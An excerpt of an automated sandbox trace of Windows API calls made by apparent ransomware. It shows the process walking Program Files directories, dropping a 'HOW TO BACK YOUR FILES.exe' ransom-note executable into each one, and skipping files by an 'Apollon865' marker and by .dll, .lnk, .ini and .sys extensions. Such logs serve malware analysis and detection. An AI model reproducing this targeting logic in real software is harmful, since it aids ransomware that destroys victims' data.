	[0062.159] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="TableTextServiceSimplifiedQuanPin.txt") returned="TableTextServiceSimplifiedQuanPin.txt"
	[0062.159] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37
	[0062.159] lstrlenW (lpString="Apollon865") returned 10
	[0062.160] lstrcmpiW (lpString1="uanPin.txt", lpString2="Apollon865") returned 1
	[0062.160] lstrlenW (lpString=".dll") returned 4
	[0062.160] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".dll") returned 1
	[0062.160] lstrlenW (lpString=".lnk") returned 4
	[0062.160] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".lnk") returned 1
	[0062.160] lstrlenW (lpString=".ini") returned 4
	[0062.160] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".ini") returned 1
	[0062.160] lstrlenW (lpString=".sys") returned 4
	[0062.160] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".sys") returned 1
	[0062.160] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37
	[0062.160] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="TableTextServiceSimplifiedShuangPin.txt") returned="TableTextServiceSimplifiedShuangPin.txt"
	[0062.160] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39
	[0062.160] lstrlenW (lpString="Apollon865") returned 10
	[0062.160] lstrcmpiW (lpString1="angPin.txt", lpString2="Apollon865") returned -1
	[0062.160] lstrlenW (lpString=".dll") returned 4
	[0062.160] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".dll") returned 1
	[0062.160] lstrlenW (lpString=".lnk") returned 4
	[0062.160] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".lnk") returned 1
	[0062.160] lstrlenW (lpString=".ini") returned 4
	[0062.160] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".ini") returned 1
	[0062.160] lstrlenW (lpString=".sys") returned 4
	[0062.160] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".sys") returned 1
	[0062.160] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39
	[0062.160] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="TableTextServiceSimplifiedZhengMa.txt") returned="TableTextServiceSimplifiedZhengMa.txt"
	[0062.160] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37
	[0062.160] lstrlenW (lpString="Apollon865") returned 10
	[0062.160] lstrcmpiW (lpString1="hengMa.txt", lpString2="Apollon865") returned 1
	[0062.160] lstrlenW (lpString=".dll") returned 4
	[0062.160] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".dll") returned 1
	[0062.160] lstrlenW (lpString=".lnk") returned 4
	[0062.160] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".lnk") returned 1
	[0062.161] lstrlenW (lpString=".ini") returned 4
	[0062.161] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".ini") returned 1
	[0062.161] lstrlenW (lpString=".sys") returned 4
	[0062.161] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".sys") returned 1
	[0062.161] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37
	[0062.161] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="TableTextServiceYi.txt" | out: lpString1="TableTextServiceYi.txt") returned="TableTextServiceYi.txt"
	[0062.161] lstrlenW (lpString="TableTextServiceYi.txt") returned 22
	[0062.161] lstrlenW (lpString="Apollon865") returned 10
	[0062.161] lstrcmpiW (lpString1="viceYi.txt", lpString2="Apollon865") returned 1
	[0062.161] lstrlenW (lpString=".dll") returned 4
	[0062.161] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".dll") returned 1
	[0062.161] lstrlenW (lpString=".lnk") returned 4
	[0062.161] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".lnk") returned 1
	[0062.161] lstrlenW (lpString=".ini") returned 4
	[0062.161] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".ini") returned 1
	[0062.161] lstrlenW (lpString=".sys") returned 4
	[0062.161] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".sys") returned 1
	[0062.161] lstrlenW (lpString="TableTextServiceYi.txt") returned 22
	[0062.161] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows NT\\TableTextService\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows NT\\TableTextService\\en-US") returned="C:\\Program Files\\Windows NT\\TableTextService\\en-US"
	[0062.161] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8fa0 | out: hHeap=0x580000) returned 1
	[0062.161] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0062.161] lstrlenW (lpString="C:\\Program Files\\Windows NT\\TableTextService\\en-US") returned 50
	[0062.161] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows NT\\TableTextService\\en-US" | out: lpString1="C:\\Program Files\\Windows NT\\TableTextService\\en-US") returned="C:\\Program Files\\Windows NT\\TableTextService\\en-US"
	[0062.161] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.161] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.165] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d1f59f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d1f59f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.166] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.166] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.166] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TableTextService.dll.mui" | out: lpString1="TableTextService.dll.mui") returned="TableTextService.dll.mui"
	[0062.166] lstrlenW (lpString="TableTextService.dll.mui") returned 24
	[0062.166] lstrlenW (lpString="Apollon865") returned 10
	[0062.166] lstrcmpiW (lpString1="ce.dll.mui", lpString2="Apollon865") returned 1
	[0062.166] lstrlenW (lpString=".dll") returned 4
	[0062.166] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2=".dll") returned 1
	[0062.166] lstrlenW (lpString=".lnk") returned 4
	[0062.166] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2=".lnk") returned 1
	[0062.166] lstrlenW (lpString=".ini") returned 4
	[0062.166] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2=".ini") returned 1
	[0062.166] lstrlenW (lpString=".sys") returned 4
	[0062.166] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2=".sys") returned 1
	[0062.166] lstrlenW (lpString="TableTextService.dll.mui") returned 24
	[0062.166] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows NT\\Accessories", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows NT\\Accessories") returned="C:\\Program Files\\Windows NT\\Accessories"
	[0062.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcac0 | out: hHeap=0x580000) returned 1
	[0062.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0062.166] lstrlenW (lpString="C:\\Program Files\\Windows NT\\Accessories") returned 39
	[0062.166] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows NT\\Accessories" | out: lpString1="C:\\Program Files\\Windows NT\\Accessories") returned="C:\\Program Files\\Windows NT\\Accessories"
	[0062.166] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.166] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.172] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d21bb50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d21bb50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.172] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.172] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.172] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0062.172] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0062.172] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5458
	[0062.172] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0062.172] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d21bb50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d21bb50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.172] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.172] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1
	[0062.172] lstrcmpiW (lpString1="wordpad.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.172] lstrcmpiW (lpString1="wordpad.exe", lpString2="Apollon865.txt.exe") returned 1
	[0062.172] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="wordpad.exe" | out: lpString1="wordpad.exe") returned="wordpad.exe"
	[0062.172] lstrlenW (lpString="wordpad.exe") returned 11
	[0062.172] lstrlenW (lpString="Apollon865") returned 10
	[0062.172] lstrcmpiW (lpString1="ordpad.exe", lpString2="Apollon865") returned 1
	[0062.172] lstrlenW (lpString=".dll") returned 4
	[0062.172] lstrcmpiW (lpString1="wordpad.exe", lpString2=".dll") returned 1
	[0062.172] lstrlenW (lpString=".lnk") returned 4
	[0062.172] lstrcmpiW (lpString1="wordpad.exe", lpString2=".lnk") returned 1
	[0062.172] lstrlenW (lpString=".ini") returned 4
	[0062.172] lstrcmpiW (lpString1="wordpad.exe", lpString2=".ini") returned 1
	[0062.172] lstrlenW (lpString=".sys") returned 4
	[0062.173] lstrcmpiW (lpString1="wordpad.exe", lpString2=".sys") returned 1
	[0062.173] lstrlenW (lpString="wordpad.exe") returned 11
	[0062.173] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="WordpadFilter.dll" | out: lpString1="WordpadFilter.dll") returned="WordpadFilter.dll"
	[0062.173] lstrlenW (lpString="WordpadFilter.dll") returned 17
	[0062.173] lstrlenW (lpString="Apollon865") returned 10
	[0062.173] lstrcmpiW (lpString1="Filter.dll", lpString2="Apollon865") returned 1
	[0062.173] lstrlenW (lpString=".dll") returned 4
	[0062.173] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".dll") returned 1
	[0062.173] lstrlenW (lpString=".lnk") returned 4
	[0062.173] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".lnk") returned 1
	[0062.173] lstrlenW (lpString=".ini") returned 4
	[0062.173] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".ini") returned 1
	[0062.173] lstrlenW (lpString=".sys") returned 4
	[0062.173] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".sys") returned 1
	[0062.173] lstrlenW (lpString="WordpadFilter.dll") returned 17
	[0062.173] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows NT\\Accessories\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows NT\\Accessories\\en-US") returned="C:\\Program Files\\Windows NT\\Accessories\\en-US"
	[0062.173] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0062.173] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0062.173] lstrlenW (lpString="C:\\Program Files\\Windows NT\\Accessories\\en-US") returned 45
	[0062.173] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows NT\\Accessories\\en-US" | out: lpString1="C:\\Program Files\\Windows NT\\Accessories\\en-US") returned="C:\\Program Files\\Windows NT\\Accessories\\en-US"
	[0062.173] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.173] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.177] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d21bb50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d21bb50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.178] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.178] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.178] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="wordpad.exe.mui" | out: lpString1="wordpad.exe.mui") returned="wordpad.exe.mui"
	[0062.178] lstrlenW (lpString="wordpad.exe.mui") returned 15
	[0062.178] lstrlenW (lpString="Apollon865") returned 10
	[0062.178] lstrcmpiW (lpString1="ad.exe.mui", lpString2="Apollon865") returned -1
	[0062.178] lstrlenW (lpString=".dll") returned 4
	[0062.178] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2=".dll") returned 1
	[0062.178] lstrlenW (lpString=".lnk") returned 4
	[0062.178] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2=".lnk") returned 1
	[0062.178] lstrlenW (lpString=".ini") returned 4
	[0062.178] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2=".ini") returned 1
	[0062.178] lstrlenW (lpString=".sys") returned 4
	[0062.178] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2=".sys") returned 1
	[0062.178] lstrlenW (lpString="wordpad.exe.mui") returned 15
	[0062.178] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Media Player", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player"
	[0062.178] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca68 | out: hHeap=0x580000) returned 1
	[0062.178] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0062.178] lstrlenW (lpString="C:\\Program Files\\Windows Media Player") returned 37
	[0062.178] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player" | out: lpString1="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player"
	[0062.178] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.178] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.182] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d21bb50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d21bb50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.182] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.182] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.183] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0062.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0062.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598468
	[0062.183] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0062.183] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d21bb50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d21bb50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.183] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.183] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0062.183] lstrcmpiW (lpString1="Icons", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.183] lstrcmpiW (lpString1="Icons", lpString2="Apollon865.txt.exe") returned 1
	[0062.183] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Icons" | out: lpString1="Icons") returned="Icons"
	[0062.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0062.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x5984c8
	[0062.183] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0062.183] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0062.183] lstrcmpiW (lpString1="Media Renderer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.183] lstrcmpiW (lpString1="Media Renderer", lpString2="Apollon865.txt.exe") returned 1
	[0062.183] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Media Renderer" | out: lpString1="Media Renderer") returned="Media Renderer"
	[0062.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0062.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a920
	[0062.183] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0062.183] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba168ab, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ba168ab, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x3401fe00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0062.183] lstrcmpiW (lpString1="mpvis.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.183] lstrcmpiW (lpString1="mpvis.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0062.183] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="mpvis.DLL" | out: lpString1="mpvis.DLL") returned="mpvis.DLL"
	[0062.183] lstrlenW (lpString="mpvis.DLL") returned 9
	[0062.183] lstrlenW (lpString="Apollon865") returned 10
	[0062.183] lstrlenW (lpString=".dll") returned 4
	[0062.183] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".dll") returned 1
	[0062.184] lstrlenW (lpString=".lnk") returned 4
	[0062.184] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".lnk") returned 1
	[0062.184] lstrlenW (lpString=".ini") returned 4
	[0062.184] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".ini") returned 1
	[0062.184] lstrlenW (lpString=".sys") returned 4
	[0062.184] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".sys") returned 1
	[0062.184] lstrlenW (lpString="mpvis.DLL") returned 9
	[0062.184] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Network Sharing" | out: lpString1="Network Sharing") returned="Network Sharing"
	[0062.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0062.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59aa10
	[0062.184] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0062.184] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa925159f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa925159f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fb600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0062.184] lstrcmpiW (lpString1="setup_wm.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.184] lstrcmpiW (lpString1="setup_wm.exe", lpString2="Apollon865.txt.exe") returned 1
	[0062.184] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="setup_wm.exe" | out: lpString1="setup_wm.exe") returned="setup_wm.exe"
	[0062.184] lstrlenW (lpString="setup_wm.exe") returned 12
	[0062.184] lstrlenW (lpString="Apollon865") returned 10
	[0062.184] lstrcmpiW (lpString1="tup_wm.exe", lpString2="Apollon865") returned 1
	[0062.184] lstrlenW (lpString=".dll") returned 4
	[0062.184] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".dll") returned 1
	[0062.184] lstrlenW (lpString=".lnk") returned 4
	[0062.184] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".lnk") returned 1
	[0062.184] lstrlenW (lpString=".ini") returned 4
	[0062.184] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".ini") returned 1
	[0062.184] lstrlenW (lpString=".sys") returned 4
	[0062.184] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".sys") returned 1
	[0062.184] lstrlenW (lpString="setup_wm.exe") returned 12
	[0062.184] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Skins" | out: lpString1="Skins") returned="Skins"
	[0062.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0062.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598528
	[0062.185] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
